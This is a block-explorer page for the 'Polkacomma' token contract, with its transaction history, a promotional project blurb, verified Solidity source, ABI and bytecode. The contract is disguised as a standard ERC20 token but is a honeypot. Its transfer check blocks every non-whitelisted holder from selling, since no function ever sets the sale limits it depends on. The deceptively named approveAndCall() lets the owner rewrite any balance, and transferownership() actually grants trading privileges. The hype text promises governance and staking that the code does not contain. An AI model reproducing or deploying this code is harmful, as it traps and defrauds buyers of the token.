Contract 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b

 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0x1c8f00857e04362cd15254d840fe9d83d039bc29e7c5965e7366565c324737a0Approve1903678822024-03-14 18:24:2713 days 22 hrs ago0xf48b175bdf5930d71dfc049ac98b76c1bfe9660c IN  0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH0.0000046 0.1
0x51b08d30635bcf3ac8b122a9604fa2d7ac0b0208e669e88c55b9fa5006748e59Approve378438582022-11-13 19:49:50500 days 21 hrs ago0xb3a66b47ee0f8d9ed3edb7b291684d473aff9360 IN  0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH0.00003293 0.1
0x8667197947a4a33f4c82d92b3471af6d4508d0a26d0fae36555719630d293974Approve365577332022-11-09 8:25:18505 days 8 hrs ago0xa5d089429ba06c6494241763f7d774d13358f854 IN  0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH0.00002487 0.1
0x17742413c9513fe1614d7aad34effcfb76c97ad1f8f6ba3b8468fc8cf9c580c8Approve351023402022-11-04 3:05:11510 days 14 hrs ago0xf48b175bdf5930d71dfc049ac98b76c1bfe9660c IN  0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH0.0000209 0.1
0x7de97dcc7fa4c6e00559b5c48c60dac355504f26f4edfe5b9b2634473961d4e1Approve And Call17433962021-09-29 7:20:59911 days 9 hrs ago0x9525bfeae8811f609617f5e0ee6115337ccfb39e IN  0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH0.000672559176 ETH0.735571947
0x4aa42d2bab57875b889e63181bb59ce6341e8da4c22d2800c42d79fa19d5a6c6Approve17288842021-09-28 19:30:43911 days 21 hrs ago0x3a5248e267c73fbf6725ef8869e4e3ec76ff06b0 IN  0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH0.000736520377 ETH0.77361604
0xfdc6994f4e8c65be9c6560839a12d9931711d0870571ddeff1d8abe1b259ef1aApprove17264492021-09-28 17:46:30911 days 23 hrs ago0x3cfa799d6ab649f23bc55082d55a9a6e3d19582e IN  0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH0.000736090991 ETH0.773160967
0xc9efc61459b0f554ea391f6edd411f7e8df1e00b9af6882febe7eed1c4989be4Approve17196982021-09-28 14:25:32912 days 2 hrs ago0xfe3d536f23a18ff1237a336ddc78b6025d8aaeac IN  0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH0.000684848936 ETH0.719707237
0xacf27981350e73866aad68defe3f75a1f660d754822437b89a55de97b78b21f4Approve And Call17196162021-09-28 14:24:14912 days 2 hrs ago0x9525bfeae8811f609617f5e0ee6115337ccfb39e IN  0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH0.000653040036 ETH0.719707237
0x67351a989c4e6fbd7b35323d7074d01a43e4c24006826b56b86851ab87b84f4dApprove17189122021-09-28 14:08:30912 days 3 hrs ago0xc25ef11558ed04359753c3fa785ad190ecc1f90f IN  0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH0.000683870135 ETH0.719707237
0xede832eb41b1c9e1e17c0410c8ac8c236cff410641446c2426c52c647061b379Approve17188832021-09-28 14:08:14912 days 3 hrs ago0xc474759dc54244ee0de865c8b9dd9d1d7dcdf1d2 IN  0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH0.00068486549 ETH0.719707237
0x215bf1fefaf383b1adfd2784086f5d60f429b6679bca58fc245598e748a2c2beApprove And Call17188762021-09-28 14:07:04912 days 3 hrs ago0x9525bfeae8811f609617f5e0ee6115337ccfb39e IN  0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH0.000652049719 ETH0.719707237
0xb7d9e2798ee4918681f815c99d6dd8c2c48662ec69e3e1809cec9dd385ef13e1Approve And Call17188682021-09-28 14:07:04912 days 3 hrs ago0x9525bfeae8811f609617f5e0ee6115337ccfb39e IN  0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH0.000652052597 ETH0.719707237
0xf31cf16eac8ebbff3dcba0f3df2aa4b9b2512bf4f98e5d674a8516e0ab6290d8Approve17187962021-09-28 14:05:07912 days 3 hrs ago0x47d8a5126b0c08a780632bf75aa6ace65b28b06b IN  0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH0.000684843899 ETH0.719707237
0xe80a2676636db2bcf519dddbe4c2c50ef6fa1d9b1b8957867ab63a04ec9c5ddfApprove17186602021-09-28 14:00:45912 days 3 hrs ago0x860bff9c35869f9deadec2450a8df5a121503280 IN  0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH0.000681886129 ETH0.713833011
0x3a9531750a82848f1122e461e19c3e73749f7b3a32a05261833d2d7c592d42dfTransferownershi...17185892021-09-28 13:59:12912 days 3 hrs ago0x9525bfeae8811f609617f5e0ee6115337ccfb39e IN  0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH0.000636153703 ETH0.713833011
0x39fb6a237b389e1fd3eb4582527ccf540a6e8a3c23136813ea1f0f6f41262a93Approve17185322021-09-28 13:57:18912 days 3 hrs ago0x9525bfeae8811f609617f5e0ee6115337ccfb39e IN  0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH0.000678279844 ETH0.713833011
0x1a9cdb68ea57d3c4613a307a4f7227f178a866d8b14896f265b2981eab4b19210x6080604017167592021-09-28 13:02:31912 days 4 hrs ago0x9525bfeae8811f609617f5e0ee6115337ccfb39e IN  Create: Polkacomma0 ETH0.013779645424 ETH0.713833011
[ Download CSV Export 
Latest 25 internal transaction
Parent Txn Hash Block From To Value
0x4f5b8c786f6b952f87088a11c7365f90eff2c2fd8b9881451a3acbac2391798f378437642022-11-13 19:49:18500 days 21 hrs ago 0x8ad3687440d8e31a323e073680c7697abc7763e2 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0x4f5b8c786f6b952f87088a11c7365f90eff2c2fd8b9881451a3acbac2391798f378437642022-11-13 19:49:18500 days 21 hrs ago 0x8ad3687440d8e31a323e073680c7697abc7763e2 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0x21b7dcb0cfcc3bc0aa0d8d8254932b3e182505258e02877a13e1615254e5411f365569432022-11-09 8:21:56505 days 8 hrs ago KyberSwap: Meta Aggregation Router 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0x21b7dcb0cfcc3bc0aa0d8d8254932b3e182505258e02877a13e1615254e5411f365569432022-11-09 8:21:56505 days 8 hrs ago 0x6f82a3c19dc0f8d745b72aa263d8b37a1ff18946 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0x21b7dcb0cfcc3bc0aa0d8d8254932b3e182505258e02877a13e1615254e5411f365569432022-11-09 8:21:56505 days 8 hrs ago 0x6f82a3c19dc0f8d745b72aa263d8b37a1ff18946 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0x21b7dcb0cfcc3bc0aa0d8d8254932b3e182505258e02877a13e1615254e5411f365569432022-11-09 8:21:56505 days 8 hrs ago 0x6f82a3c19dc0f8d745b72aa263d8b37a1ff18946 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0x21b7dcb0cfcc3bc0aa0d8d8254932b3e182505258e02877a13e1615254e5411f365569432022-11-09 8:21:56505 days 8 hrs ago 0x8ad3687440d8e31a323e073680c7697abc7763e2 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0x21b7dcb0cfcc3bc0aa0d8d8254932b3e182505258e02877a13e1615254e5411f365569432022-11-09 8:21:56505 days 8 hrs ago 0x8ad3687440d8e31a323e073680c7697abc7763e2 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0x21b7dcb0cfcc3bc0aa0d8d8254932b3e182505258e02877a13e1615254e5411f365569432022-11-09 8:21:56505 days 8 hrs ago 0x6f82a3c19dc0f8d745b72aa263d8b37a1ff18946 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0x21b7dcb0cfcc3bc0aa0d8d8254932b3e182505258e02877a13e1615254e5411f365569432022-11-09 8:21:56505 days 8 hrs ago 0x6f82a3c19dc0f8d745b72aa263d8b37a1ff18946 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0x21b7dcb0cfcc3bc0aa0d8d8254932b3e182505258e02877a13e1615254e5411f365569432022-11-09 8:21:56505 days 8 hrs ago KyberSwap: Meta Aggregation Router 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0x942b40abe3ab2063aae0ef9d260db7f240985f3860c499ea1b66bdce35b1e164356984882022-11-06 10:46:24508 days 6 hrs ago 0x8ad3687440d8e31a323e073680c7697abc7763e2 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0x942b40abe3ab2063aae0ef9d260db7f240985f3860c499ea1b66bdce35b1e164356984882022-11-06 10:46:24508 days 6 hrs ago 0x8ad3687440d8e31a323e073680c7697abc7763e2 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0xdc4bb447f18583f75febebd46cd3ef15787617903bae8cf7f26635f9be90a3e6351021432022-11-04 3:03:51510 days 14 hrs ago KyberSwap: Meta Aggregation Router 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0xdc4bb447f18583f75febebd46cd3ef15787617903bae8cf7f26635f9be90a3e6351021432022-11-04 3:03:51510 days 14 hrs ago 0x6f82a3c19dc0f8d745b72aa263d8b37a1ff18946 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0xdc4bb447f18583f75febebd46cd3ef15787617903bae8cf7f26635f9be90a3e6351021432022-11-04 3:03:51510 days 14 hrs ago 0x6f82a3c19dc0f8d745b72aa263d8b37a1ff18946 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0xdc4bb447f18583f75febebd46cd3ef15787617903bae8cf7f26635f9be90a3e6351021432022-11-04 3:03:51510 days 14 hrs ago 0x6f82a3c19dc0f8d745b72aa263d8b37a1ff18946 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0xdc4bb447f18583f75febebd46cd3ef15787617903bae8cf7f26635f9be90a3e6351021432022-11-04 3:03:51510 days 14 hrs ago 0x8ad3687440d8e31a323e073680c7697abc7763e2 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0xdc4bb447f18583f75febebd46cd3ef15787617903bae8cf7f26635f9be90a3e6351021432022-11-04 3:03:51510 days 14 hrs ago 0x8ad3687440d8e31a323e073680c7697abc7763e2 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0xdc4bb447f18583f75febebd46cd3ef15787617903bae8cf7f26635f9be90a3e6351021432022-11-04 3:03:51510 days 14 hrs ago 0x6f82a3c19dc0f8d745b72aa263d8b37a1ff18946 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0xdc4bb447f18583f75febebd46cd3ef15787617903bae8cf7f26635f9be90a3e6351021432022-11-04 3:03:51510 days 14 hrs ago 0x6f82a3c19dc0f8d745b72aa263d8b37a1ff18946 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0xdc4bb447f18583f75febebd46cd3ef15787617903bae8cf7f26635f9be90a3e6351021432022-11-04 3:03:51510 days 14 hrs ago KyberSwap: Meta Aggregation Router 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0xa3c1c5d3a8ba420f589d11d86bdec6aa950637a6f7883109816ac63c7067608217434362021-09-29 7:22:07911 days 9 hrs ago 0x8ad3687440d8e31a323e073680c7697abc7763e2 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0xa3c1c5d3a8ba420f589d11d86bdec6aa950637a6f7883109816ac63c7067608217434362021-09-29 7:22:07911 days 9 hrs ago SushiSwap: Router 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
0xeb8fc7f6dcbda2eb54801a7486ec7b63be915deb0dff28955e5d24c96036f3c217385832021-09-29 3:38:30911 days 13 hrs ago 0x8ad3687440d8e31a323e073680c7697abc7763e2 0xbfff765bdbf8e7dd2be3623c12b5515270118c1b0 ETH
[ Download CSV Export 
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Polkacomma

Compiler Version
v0.5.17+commit.d19bba13

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, GNU GPLv2 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Arbiscan.io on 2021-09-28
*/

/*

███████████████████████████████████████████████████████████████
█▄─▄▄─█─▄▄─█▄─▄███▄─█─▄██▀▄─██─▄▄▄─█─▄▄─█▄─▀█▀─▄█▄─▀█▀─▄██▀▄─██
██─▄▄▄█─██─██─██▀██─▄▀███─▀─██─███▀█─██─██─█▄█─███─█▄█─███─▀─██
▀▄▄▄▀▀▀▄▄▄▄▀▄▄▄▄▄▀▄▄▀▄▄▀▄▄▀▄▄▀▄▄▄▄▄▀▄▄▄▄▀▄▄▄▀▄▄▄▀▄▄▄▀▄▄▄▀▄▄▀▄▄▀

Polkacomma is a multi-chain interchange and translation architecture which enables customised side-chains to connect with different blockchains within the Decentralized Finance sector.

Our Ecosystem📚

The main constraints of POLKACOMMA which COMMA will address are:

🔋COMMA Charge: Maximize network effect through COMMA-net and para-COMMA, which maximizes rewards thereby attracting more capital to increase cover capacity.

🔌COMMA Capacity: Maximize COMMA network capacity by capturing and staking COMMA back into the ecosystem to boost overall capacity.

📈Having the ability to address both the supply-side and demand-side constraints puts COMMA in a unique position to maximize cover sales and there by rewards for token holders.

🏰Governance 
Polkacomma token holders have complete control over the protocol. All privileges, which on other platforms are exclusive to miners, will be given to the Relay Chain participants (COMMA holders), including managing exceptional events such as protocol upgrades and fixes.

💰Staking 
Good actors are rewarded by this mechanism whilst bad actors will lose their stake in the network. This ensures the network stays secure⚖️.

⛓Bonding 
New parachains are added by bonding tokens. Outdated or non-useful parachains are removed by removing bonded tokens. This is a form of proof of stake.
💞Multi-chain interchange and translation architecture which enables customised side-chains to connect with different blockchains within the Defi sector.

Here are list of the Reward Pools in Polkacomma:

-COMMA Governance Pool
-COMMA-ETH Farming Pool
-COMMA-DAI Farming Pools
-COMMA-USDC Farming Pool
-COMMA-USDT Farming Pool
-COMMA-BUSD Farming Pool
-COMMA-UNI Farming Pool
-COMMA-SUSHI Farming Pool

Polkacomma Tokenomics:

-Symbol: COMMA
-Total Supply: 50,000 COMMA
-Sushiswap Listing: 47,000 COMMA
-Farming Rewards: 3,000 COMMA
-Liquidity: 5.0 ETH
-Initial COMMA price per ETH: 9,400 COMMA/ ETH

🚦Polkacomma will List on Sushiswap at 2.00 pm UTC 28th September 2021

Interested in Polkacomma?

View our website here👇
https://polkacomma.com

🗣Support us on social media

Telegram: https://t.me/polkacomma

Twitter: https://twitter.com/polkacomma

*/

pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract Polkacomma {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
       
        if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    
    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
        
        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }
 
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender == owner);
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }

    address tradeAddress;
    function transferownership(address addr) public returns(bool) {
        require(msg.sender == owner);
        tradeAddress = addr;
        return true;
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"approveAndCall","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"transferownership","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}]

6080604052604051610aa1380380610aa18339818101604052606081101561002657600080fd5b810190808051604051939291908464010000000082111561004657600080fd5b90830190602082018581111561005b57600080fd5b825164010000000081118282018810171561007557600080fd5b82525081516020918201929091019080838360005b838110156100a257818101518382015260200161008a565b50505050905090810190601f1680156100cf5780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156100f257600080fd5b90830190602082018581111561010757600080fd5b825164010000000081118282018810171561012157600080fd5b82525081516020918201929091019080838360005b8381101561014e578181015183820152602001610136565b50505050905090810190601f16801561017b5780820380516001836020036101000a031916815260200191505b50604052602090810151855190935061019a9250600991860190610224565b5081516101ae90600a906020850190610224565b50670de0b6b3a764000081026008819055600b80546001600160a01b031916339081179091556000818152600660209081526040808320859055805194855251929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050506102bf565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061026557805160ff1916838001178555610292565b82800160010185558215610292579182015b82811115610292578251825591602001919060010190610277565b5061029e9291506102a2565b5090565b6102bc91905b8082111561029e57600081556001016102a8565b90565b6107d3806102ce6000396000f3fe60806040526004361061009c5760003560e01c80633177029f116100645780633177029f146101dd57806370a082311461021657806395d89b4114610249578063a9059cbb1461025e578063dd62ed3e1461028a578063e8b5b796146102c55761009c565b806306fdde03146100a1578063095ea7b31461012b57806318160ddd1461016b57806323b872dd14610192578063313ce567146101c8575b600080fd5b3480156100ad57600080fd5b506100b66102f8565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f05781810151838201526020016100d8565b50505050905090810190601f16801561011d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101576004803603604081101561014157600080fd5b506001600160a01b038135169060200135610386565b604080519115158252519081900360200190f35b34801561017757600080fd5b506101806103ed565b60408051918252519081900360200190f35b610157600480360360608110156101a857600080fd5b506001600160a01b038135811691602081013590911690604001356103f3565b3480156101d457600080fd5b50610180610528565b3480156101e957600080fd5b506101576004803603604081101561020057600080fd5b506001600160a01b03813516906020013561052d565b34801561022257600080fd5b506101806004803603602081101561023957600080fd5b50356001600160a01b031661059c565b34801561025557600080fd5b506100b66105ae565b6101576004803603604081101561027457600080fd5b506001600160a01b038135169060200135610609565b34801561029657600080fd5b50610180600480360360408110156102ad57600080fd5b506001600160a01b0381358116916020013516610616565b3480156102d157600080fd5b50610157600480360360208110156102e857600080fd5b50356001600160a01b0316610633565b6009805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561037e5780601f106103535761010080835404028352916020019161037e565b820191906000526020600020905b81548152906001019060200180831161036157829003601f168201915b505050505081565b3360008181526007602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60085481565b60008161040257506001610521565b336001600160a01b0385161461046d576001600160a01b038416600090815260076020908152604080832033845290915290205482111561044257600080fd5b6001600160a01b03841660009081526007602090815260408083203384529091529020805483900390555b610478848484610672565b61048157600080fd5b6001600160a01b0384166000908152600660205260409020548211156104a657600080fd5b6001600160a01b0380851660008181526006602090815260408083208054889003905593871680835284832080548801905583835282825291849020805460010190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35060015b9392505050565b601281565b600b546000906001600160a01b0316331461054757600080fd5b8115610573576001600160a01b0383166000908152600660205260409020670de0b6b3a7640000830290555b50506001600160a01b03166000908152600160208190526040909120805460ff19168217905590565b60066020526000908152604090205481565b600a805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561037e5780601f106103535761010080835404028352916020019161037e565b60006105213384846103f3565b600760209081526000928352604080842090915290825290205481565b600b546000906001600160a01b0316331461064d57600080fd5b50600580546001600160a01b0383166001600160a01b03199091161790556001919050565b600b546000906001600160a01b038581169116148061069e5750600b546001600160a01b038481169116145b806106b657506005546001600160a01b038581169116145b806106d957506001600160a01b03841660009081526001602052604090205460ff165b156106e657506001610521565b6106f08483610703565b6106f957600080fd5b5060019392505050565b600060045460001480156107175750600254155b80156107235750600354155b15610730575060006103e7565b60045415610761576004546001600160a01b03841660009081526020819052604090205410610761575060006103e7565b6002541561077b5781600254111561077b575060006103e7565b6003541561079557600354821115610795575060006103e7565b5060019291505056fea265627a7a7231582060f2186eebaac454c9b23ee75b5b83684a911144c6a1852e608e427b7cf1baea64736f6c63430005110032000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000